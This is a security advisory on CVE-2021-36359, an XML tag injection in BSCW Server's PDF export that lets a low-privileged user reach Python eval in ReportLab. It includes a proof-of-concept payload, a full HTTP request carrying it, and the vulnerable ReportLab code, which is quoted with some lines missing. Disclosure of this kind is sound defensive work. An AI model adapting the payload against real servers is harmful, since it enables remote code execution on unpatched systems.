BSCW Server XML Injection

BSCW Server versions 7.4.2 and below, 7.3.2 and below, 5.2.3 and below, 5.1.9 and below, and 5.0.11 and below suffer from an XML tag injection vulnerability.

MD5 | 92745427fa98628e50e05c53f439b4d5

SEC Consult Vulnerability Lab Security Advisory < 20210827-1 >
title: XML Tag injection
product: BSCW Server
vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2
fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3
CVE number: CVE-2021-36359
impact: high
found: 2021-06-30
by: Armin Stock (Atos Germany)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Atos company
Europe | Asia | North America


Vendor description:
"A versatile system for any field of application

BSCW Classic is in use around the world. With more than 500 functions, it
offers the right solution for every task. Turn your ideas into reality! Our
proven system has been supporting information flow and knowledge management at
numerous companies for more than 20 years."


Business recommendation:
The vendor provides a patched version for the affected products, which should
be installed immediately.

Vulnerability overview/description:
1) XML Tag injection
The application allows a user with low privileges to export different objects
to a `PDF` file (`Send To -> File(PDF)`) via the `exportpdf` package. To
export the content of the objects the framework ReportLab is used. This library
supports different tags to export structured content:

# File: reportlab/platypus/
The ParaFormatter will be able to format the following
< /b > - bold
< /i > - italics
< u [color="red"] [width="pts"] [offset="pts"]> < /u > - underline
width and offset can be empty meaning use existing canvas line width
or with an f/F suffix regarded as a fraction of the font size
< strike > < /strike > - strike through has the same parameters as underline
< super [size="pts"] [rise="pts"]> < /super > - superscript
< sup ="pts"] [rise="pts"]> < /sup > - superscript
< sub ="pts"] [rise="pts"]> < /sub > - subscript
<font name=fontfamily/fontname color=colorname size=float>
<span name=fontfamily/fontname color=colorname backcolor=colorname size=float style=stylename>
< bullet > </bullet> - bullet text (at head of para only)
<onDraw name=callable label="a label"/>
<index [name="callablecanvasattribute"] label="a label"/>
<link>link text</link>
attributes of links
underline=bool turn on underline
<a>anchor text</a>
attributes of anchors
<a name="anchorpoint"/>
<unichar name="unicode character name"/>
<unichar value="unicode code point"/>
<img src="path" width="1in" height="1in" valign="bottom"/>
width="w%" --> fontSize*w/100 idea from Roberto Alsina
height="h%" --> linewidth*h/100 <[email protected]>
<greek> - </greek>
<nobr> ... </nobr> turn off word breaking and hyphenation

The whole may be surrounded by <para> </para> tags

The application does not properly encode the user content before passing it to
`ReportLab`, which allows the user to inject own tags. These tags get evaluated
by the `ReportLab`.

Depending on the version of `ReportLab` it allows the user to do a `SSRF`
(server side request forgery) attack via the `img` tag

There are also known vulnerabilites in `ReportLab`:


This allows an attacker to execute `Python` code via the `unichar` tag or the
`color` attribute.

Proof of concept:
1) XML Tag injection
One possible injection point is the `description` of a folder. Using the
following payload allows the execution of the `Python` code `28+20`.

<strike>hello</strike><unichar code="28+20"/>

The result of this code is `48` (ASCII: `0`), which gets written to the
generated `PDF` file.

POST /sec/bscw.cgi/1917?op=_editfolder.EditFolder HTTP/1.1

Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 765
Origin: http://bscw.local:8080
DNT: 1
Connection: keep-alive
Referer: http://bscw.local:8080/sec/bscw.cgi/1917?op=editfolder.EditFolder&id=1917_2088&inside_dialog=1
Cookie: MicroblogInboxIndicatorState=%5B1629367994%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22; bscw_dummy_cookie=opensesame; bscw_auth="wsZjskopxMc1MSIVJq1bnn0fqKqLR9hB:108"; _sec_bscws="45aa7a088a17c12646aaf10d670395cb:264"
Upgrade-Insecure-Requests: 1

op=editfolder.EditFolder&inside_dialog=1&bscw_v_post=cCzT8tEnZ1kR%2FnH6gC15aLTjerCLR9hB&id=1917_2088&_selected=editfolder.NameTagsDescrRate&_editfolder.NameTagsDescrRate_renameo.Chname_name=hello&_editfolder.NameTagsDescrRate_renameo.Chname_=3&_editfolder.NameTagsDescrRate_chtags.EditTags_tags=&_editfolder.NameTagsDescrRate_chtags.EditTags_=3&_editfolder.NameTagsDescrRate_chdescr.Chdescr_descr=<strike>hello</strike><unichar code="28+20"/>&_editfolder.NameTagsDescrRate_chdescr.Chdescr_=3&_editfolder.NameTagsDescrRate_=3&_approval.approval_approval_choice=approval_inherited&_approval.approval_addactions=approval.approval.ApprovalTaskItem&_approval.approval_=3&_autovers_maxvers=inherit&_autovers_mvnr=&_autovers_=3&_=3&__ok_.x=+++OK+++

The vulnerable code in the `ReportLab` framework:
# File: reportlab\platypus\
def start_unichar(self, attr):
if 'name' in attr:
if 'code' in attr:
self._syntax_error('<unichar/> invalid with both name and code attributes')
v = unicodedata.lookup(attr['name'])
except KeyError:
self._syntax_error('<unichar/> invalid name attribute\n"%s"' % ascii(attr['name']))
v = '\0'
elif 'code' in attr:
v = int(eval(attr['code']))
v = chr(v) if isPy3 else unichr(v)
self._syntax_error('<unichar/> invalid code attribute %s' % ascii(attr['code']))
v = '\0'
Most likely there are more injection points to include own tags, but no further
actions were taken to find them.

Vulnerable / tested versions:
BSCW Classic 5.2.3 has been used to identify the vulnerability.

The vendor confirmed the following versions to be also affected by the
BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2

Vendor contact timeline:
2021-07-31: Sent report to vendor.
2021-08-01: Vendor confirmed the issue and is working on a patch.
2021-08-19: Vendor notified licensed customers about the issue and a patch.
2021-08-27: Coordinated release of security advisory.

The vendor provides a patched version for the affected and supported products,
which should be installed immediately.

Additional information can be viewed at the vendor's support page.

Ensure the the used `ReportLab` version is >= `3.5.55` to mitigiate an active
exploit of these known vulnerabilites.
It is also possbile to disable the `Export to PDF` function. This should be the
preferred way, until the vendor provides a patch.

$ bin/bsadmin package -d exportpdf

Advisory URL:


SEC Consult Vulnerability Lab

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Europe | Asia | North America

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EOF Armin Stock / @2021

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